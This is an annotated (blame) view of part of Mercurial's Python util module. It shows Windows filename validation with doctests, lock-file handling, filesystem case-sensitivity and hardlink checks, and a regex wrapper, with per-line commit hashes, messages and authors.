0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1658 >>> checkwinfilename(b"just/a/normal/path") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1659 >>> checkwinfilename(b"foo/bar/con.xml") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1660 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1661 >>> checkwinfilename(b"foo/con.xml/bar") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1662 "filename contains 'con', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1663 >>> checkwinfilename(b"foo/bar/xml.con") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1664 >>> checkwinfilename(b"foo/bar/AUX/bla.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1665 "filename contains 'AUX', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1666 >>> checkwinfilename(b"foo/bar/bla:.txt") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1667 "filename contains ':', which is reserved on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1668 >>> checkwinfilename(b"foo/bar/b\07la.txt") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1669 "filename contains '\\x07', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1670 >>> checkwinfilename(b"foo/bar/bla ") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1671 "filename ends with ' ', which is not allowed on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1672 >>> checkwinfilename(b"../bar") |
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1673 >>> checkwinfilename(b"foo\\") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1674 "filename ends with '\\', which is invalid on Windows" |
34131
0fa781320203
doctest: bulk-replace string literals with b'' for Python 3
Yuya Nishihara <yuya@tcha.org>
parents:
34084
diff
changeset
|
1675 >>> checkwinfilename(b"foo\\/bar") |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1676 "directory name ends with '\\', which is invalid on Windows" |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1677 ''' |
20000
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1678 if path.endswith('\\'): |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1679 return _("filename ends with '\\', which is invalid on Windows") |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1680 if '\\/' in path: |
0849d280663e
util: warn when adding paths ending with \
Mads Kiilerich <madski@unity3d.com>
parents:
19951
diff
changeset
|
1681 return _("directory name ends with '\\', which is invalid on Windows") |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1682 for n in path.replace('\\', '/').split('/'): |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1683 if not n: |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1684 continue |
32572
377c74ef008d
win32mbcs: avoid unintentional failure at colorization
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
31952
diff
changeset
|
1685 for c in _filenamebytestr(n): |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1686 if c in _winreservedchars: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1687 return _("filename contains '%s', which is reserved " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1688 "on Windows") % c |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1689 if ord(c) <= 31: |
34360
f435097d13c9
py3: manually escape control character to be embedded in win filename error
Yuya Nishihara <yuya@tcha.org>
parents:
34357
diff
changeset
|
1690 return _("filename contains '%s', which is invalid " |
37084
f0b6fbea00cf
stringutil: bulk-replace call sites to point to new module
Yuya Nishihara <yuya@tcha.org>
parents:
37083
diff
changeset
|
1691 "on Windows") % stringutil.escapestr(c) |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1692 base = n.split('.')[0] |
14262
23cd7eeff678
util: rename _windows_reserved_filenames and _windows_reserved_chars
Adrian Buehlmann <adrian@cadifra.com>
parents:
14250
diff
changeset
|
1693 if base and base.lower() in _winreservednames: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1694 return _("filename contains '%s', which is reserved " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1695 "on Windows") % base |
34361
7508a7dc95c1
py3: replace bytes[n] with slicing in checkwinfilename()
Yuya Nishihara <yuya@tcha.org>
parents:
34360
diff
changeset
|
1696 t = n[-1:] |
15358
a347b3614bae
util: don't complain about '..' in path components not working on Windows
Matt Mackall <mpm@selenic.com>
parents:
15159
diff
changeset
|
1697 if t in '. ' and n not in '..': |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1698 return _("filename ends with '%s', which is not allowed " |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1699 "on Windows") % t |
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1700 |
34645 | 1701 if pycompat.iswindows: |
13916
98ee3dd5bab4
path_auditor: check filenames for basic platform validity (issue2755)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13910
diff
changeset
|
1702 checkosfilename = checkwinfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1703 timer = time.clock |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1704 else: |
14926
4e7e63fc685a
util: eliminate wildcard imports
Adrian Buehlmann <adrian@cadifra.com>
parents:
14918
diff
changeset
|
1705 checkosfilename = platform.checkosfilename |
30974
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1706 timer = time.time |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1707 |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1708 if safehasattr(time, "perf_counter"): |
ae5d60bb70c9
util: introduce timer()
Simon Farnsworth <simonfar@fb.com>
parents:
30925
diff
changeset
|
1709 timer = time.perf_counter |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1710 |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1711 def makelock(info, pathname): |
36701
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1712 """Create a lock file atomically if possible |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1713 |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1714 This may leave a stale lock file if symlink isn't supported and signal |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1715 interrupt is enabled. |
d77c3b023393
lock: block signal interrupt while making a lock file
Yuya Nishihara <yuya@tcha.org>
parents:
36699
diff
changeset
|
1716 """ |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1717 try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1718 return os.symlink(info, pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1719 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1720 if why.errno == errno.EEXIST: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1721 raise |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1722 except AttributeError: # no symlink in os |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1723 pass |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1724 |
36783
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
1725 flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0) |
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
1726 ld = os.open(pathname, flags) |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1727 os.write(ld, info) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1728 os.close(ld) |
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1729 |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1730 def readlock(pathname): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1731 try: |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1732 return os.readlink(pathname) |
25660
328739ea70c3
global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents:
25420
diff
changeset
|
1733 except OSError as why: |
7890
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1734 if why.errno not in (errno.EINVAL, errno.ENOSYS): |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1735 raise |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1736 except AttributeError: # no symlink in os |
e710f0f592b2
util: split out posix, windows, and win32 modules
Matt Mackall <mpm@selenic.com>
parents:
7879
diff
changeset
|
1737 pass |
36783
1fbbb8e83392
py3: read/write plain lock file in binary mode
Yuya Nishihara <yuya@tcha.org>
parents:
36782
diff
changeset
|
1738 fp = posixfile(pathname, 'rb') |
13400
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1739 r = fp.read() |
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1740 fp.close() |
14f3795a5ed7
explicitly close files
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents:
13392
diff
changeset
|
1741 return r |
704
5ca319a641e1
Make makelock and readlock work on filesystems without symlink support.
Thomas Arendsen Hein <thomas@intevation.de>
parents:
698
diff
changeset
|
1742 |
2176
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1743 def fstat(fp): |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1744 '''stat file object that may not have fileno method.''' |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1745 try: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1746 return os.fstat(fp.fileno()) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1747 except AttributeError: |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1748 return os.stat(fp.name) |
9b42304d9896
fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents:
2117
diff
changeset
|
1749 |
3784 | 1750 # File system features |
1751 | |
29889
6f447b9ec263
util: rename checkcase() to fscasesensitive() (API)
Martin von Zweigbergk <martinvonz@google.com>
parents:
29832
diff
changeset
|
1752 def fscasesensitive(path): |
3784 | 1753 """ |
18911
451eb1c27c1b
util: improve doc for checkcase
Mads Kiilerich <mads@kiilerich.com>
parents:
18868
diff
changeset
|
1754 Return true if the given path is on a case-sensitive filesystem |
3784 | 1755 |
1756 Requires a path (like /foo/.hg) ending with a foldable final | |
1757 directory component. | |
1758 """ | |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
1759 s1 = os.lstat(path) |
3784 | 1760 d, b = os.path.split(path) |
15667
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1761 b2 = b.upper() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1762 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1763 b2 = b.lower() |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1764 if b == b2: |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1765 return True # no evidence against case sensitivity |
eacfd851cb9e
icasefs: consider as case sensitive if there is no counterevidence, for safety
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15609
diff
changeset
|
1766 p2 = os.path.join(d, b2) |
3784 | 1767 try: |
24902
986a5c23b1c1
util.checkcase: don't abort on broken symlinks
Siddharth Agarwal <sid0@fb.com>
parents:
24692
diff
changeset
|
1768 s2 = os.lstat(p2) |
3784 | 1769 if s2 == s1: |
1770 return False | |
1771 return True | |
14004
97ed99d1f419
eliminate various naked except clauses
Idan Kamara <idankk86@gmail.com>
parents:
13985
diff
changeset
|
1772 except OSError: |
3784 | 1773 return True |
1774 | |
16943
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1775 try: |
8d08a28aa63e
matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents:
16873
diff
changeset
|
1776 import re2 |
8d08a28aa63e
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|
1777 _re2 = None |
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|
1778 except ImportError: |
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parents:
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|
1779 _re2 = False |
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|
1780 |
21908
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|
1781 class _re(object): |
21913
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util.re: move check for re2 into a separate method
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parents:
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|
1782 def _checkre2(self): |
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|
1783 global _re2 |
50aad4609224
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|
1784 try: |
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parents:
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|
1785 # check if match works, see issue3964 |
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parents:
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|
1786 _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]')) |
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util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
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|
1787 except ImportError: |
50aad4609224
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|
1788 _re2 = False |
50aad4609224
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|
1789 |
21908
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|
1790 def compile(self, pat, flags=0): |
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parents:
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|
1791 '''Compile a regular expression, using re2 if possible |
16943
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Bryan O'Sullivan <bryano@fb.com>
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|
1792 |
21908
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|
1793 For best performance, use only re2-compatible regexp features. The |
cad9dadc9d26
util: move compilere to a class
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|
1794 only flags from the re module that are re2-compatible are |
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parents:
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|
1795 IGNORECASE and MULTILINE.''' |
cad9dadc9d26
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parents:
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|
1796 if _re2 is None: |
21913
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util.re: move check for re2 into a separate method
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parents:
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|
1797 self._checkre2() |
21908
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parents:
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|
1798 if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0: |
cad9dadc9d26
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parents:
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diff
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|
1799 if flags & remod.IGNORECASE: |
cad9dadc9d26
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parents:
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1800 pat = '(?i)' + pat |
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parents:
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|
1801 if flags & remod.MULTILINE: |
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Siddharth Agarwal <sid0@fb.com>
parents:
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|
1802 pat = '(?m)' + pat |
cad9dadc9d26
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|
1803 try: |
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|
1804 return re2.compile(pat) |
cad9dadc9d26
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1805 except re2.error: |
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|
1806 pass |
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|
1807 return remod.compile(pat, flags) |
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|
1808 |
21914
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|
1809 @propertycache |
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|
1810 def escape(self): |
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1811 '''Return the version of escape corresponding to self.compile. |
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1812 |
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1813 This is imperfect because whether re2 or re is used for a particular |
10e99839a7a4
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1814 function depends on the flags, etc, but it's the best we can do. |
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|
1815 ''' |
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diff
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|
1816 global _re2 |
10e99839a7a4
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Siddharth Agarwal <sid0@fb.com>
parents:
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|
1817 if _re2 is None: |
10e99839a7a4
util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
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|
1818 self._checkre2() |
10e99839a7a4
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|
1819 if _re2: |
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|
1820 return re2.escape |
10e99839a7a4
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|
1821 else: |
10e99839a7a4
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Siddharth Agarwal <sid0@fb.com>
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diff
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|
1822 return remod.escape |
10e99839a7a4
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Siddharth Agarwal <sid0@fb.com>
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diff
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|
1823 |
21908
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diff
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|
1824 re = _re() |
16943
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|
1825 |
6676
33045179d079
Add a new function, fspath
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|
1826 _fspathcache = {} |
33045179d079
Add a new function, fspath
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parents:
6595
diff
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|
1827 def fspath(name, root): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents:
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diff
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|
1828 '''Get name in the case stored in the filesystem |
33045179d079
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Paul Moore <p.f.moore@gmail.com>
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|
1829 |
15710
f63e40047372
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FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
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1830 The name should be relative to root, and be normcase-ed for efficiency. |
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|
1831 |
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icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
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diff
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|
1832 Note that this function is unnecessary, and should not be |
6676
33045179d079
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diff
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|
1833 called, for case-sensitive filesystems (simply because it's expensive). |
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d6c19cfa03ce
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FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
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1834 |
15710
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diff
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|
1835 The root should be normcase-ed, too. |
6676
33045179d079
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Paul Moore <p.f.moore@gmail.com>
parents:
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|
1836 ''' |
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30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
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diff
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|
1837 def _makefspathcacheentry(dir): |
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
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diff
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|
1838 return dict((normcase(n), n) for n in os.listdir(dir)) |
15709
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FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
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diff
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|
1839 |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1840 seps = pycompat.ossep |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1841 if pycompat.osaltsep: |
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
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diff
changeset
|
1842 seps = seps + pycompat.osaltsep |
6676
33045179d079
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|
1843 # Protect backslashes. This gets silly very quickly. |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
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diff
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|
1844 seps.replace('\\','\\\\') |
31496
670166e0fcaa
util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents:
31495
diff
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|
1845 pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps)) |
15669
390bcd01775a
icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15667
diff
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|
1846 dir = os.path.normpath(root) |
6676
33045179d079
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diff
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|
1847 result = [] |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
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diff
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|
1848 for part, sep in pattern.findall(name): |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
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diff
changeset
|
1849 if sep: |
33045179d079
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diff
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|
1850 result.append(sep) |
33045179d079
Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
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diff
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|
1851 continue |
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Paul Moore <p.f.moore@gmail.com>
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|
1852 |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
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|
1853 if dir not in _fspathcache: |
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30124c40d11f
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diff
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|
1854 _fspathcache[dir] = _makefspathcacheentry(dir) |
15719
1dd60426b061
icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15718
diff
changeset
|
1855 contents = _fspathcache[dir] |
6676
33045179d079
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Paul Moore <p.f.moore@gmail.com>
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|
1856 |
23097
30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
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diff
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|
1857 found = contents.get(part) |
15709
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FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
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diff
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|
1858 if not found: |
15720
3bcfea777efc
icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents:
15719
diff
changeset
|
1859 # retry "once per directory" per "dirstate.walk" which |
3bcfea777efc
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15719
diff
changeset
|
1860 # may take place for each patches of "hg qpush", for example |
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30124c40d11f
util.fspath: use a dict rather than a linear scan for lookups
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diff
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|
1861 _fspathcache[dir] = contents = _makefspathcacheentry(dir) |
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diff
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|
1862 found = contents.get(part) |
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|
1863 |
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|
1864 result.append(found or part) |
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|
1865 dir = os.path.join(dir, part) |
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33045179d079
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|
1866 |
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diff
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|
1867 return ''.join(result) |
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Add a new function, fspath
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diff
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|
1868 |
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|
1869 def checknlink(testfile): |
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diff
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|
1870 '''check whether hardlink count reporting works properly''' |
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|
1871 |
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5b83ab614dab
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diff
changeset
|
1872 # testfile may be open, so we need a separate file for checking to |
5b83ab614dab
checknlink: use two testfiles (issue2543)
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diff
changeset
|
1873 # work around issue2543 (or testfile may get lost on Samba shares) |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
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diff
changeset
|
1874 f1, f2, fp = None, None, None |
12938
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Adrian Buehlmann <adrian@cadifra.com>
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changeset
|
1875 try: |
38164
aac4be30e250
py3: wrap tempfile.mkstemp() to use bytes path
Yuya Nishihara <yuya@tcha.org>
parents:
37972
diff
changeset
|
1876 fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile), |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
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diff
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|
1877 suffix='1~', dir=os.path.dirname(testfile)) |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
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34072
diff
changeset
|
1878 os.close(fd) |
1104718fb090
checknlink: use a random temp file name for checking
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diff
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|
1879 f2 = '%s2~' % f1[:-2] |
1104718fb090
checknlink: use a random temp file name for checking
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diff
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|
1880 |
25088
754df8e932d3
util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1881 oslink(f1, f2) |
12938
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|
1882 # nlinks() may behave differently for files on Windows shares if |
bf826c0b9537
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changeset
|
1883 # the file is open. |
34084
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Jun Wu <quark@fb.com>
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diff
changeset
|
1884 fp = posixfile(f2) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1885 return nlinks(f2) > 1 |
25088
754df8e932d3
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Matt Mackall <mpm@selenic.com>
parents:
24902
diff
changeset
|
1886 except OSError: |
754df8e932d3
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Matt Mackall <mpm@selenic.com>
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diff
changeset
|
1887 return False |
12938
bf826c0b9537
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diff
changeset
|
1888 finally: |
34084
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
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34079
diff
changeset
|
1889 if fp is not None: |
6c5cdb02f2f9
checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents:
34079
diff
changeset
|
1890 fp.close() |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1891 for f in (f1, f2): |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1892 try: |
34079
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1893 if f is not None: |
1104718fb090
checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents:
34072
diff
changeset
|
1894 os.unlink(f) |
13204
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1895 except OSError: |
5b83ab614dab
checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents:
13188
diff
changeset
|
1896 pass |
12938
bf826c0b9537
opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents:
12927
diff
changeset
|
1897 |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
1898 def endswithsep(path): |
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
1899 '''Check path ends with os.sep or os.altsep.''' |
30613
1112ff99d965
py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30536
diff
changeset
|
1900 return (path.endswith(pycompat.ossep) |
30625
bcf4a975f93d
py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents:
30613
diff
changeset
|
1901 or pycompat.osaltsep and path.endswith(pycompat.osaltsep)) |
5843
83c354c4d529
Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5802
diff
changeset
|
1902 |
5844
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
1903 def splitpath(path): |
07d8eb78dd68
Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents:
5843
diff
changeset
|
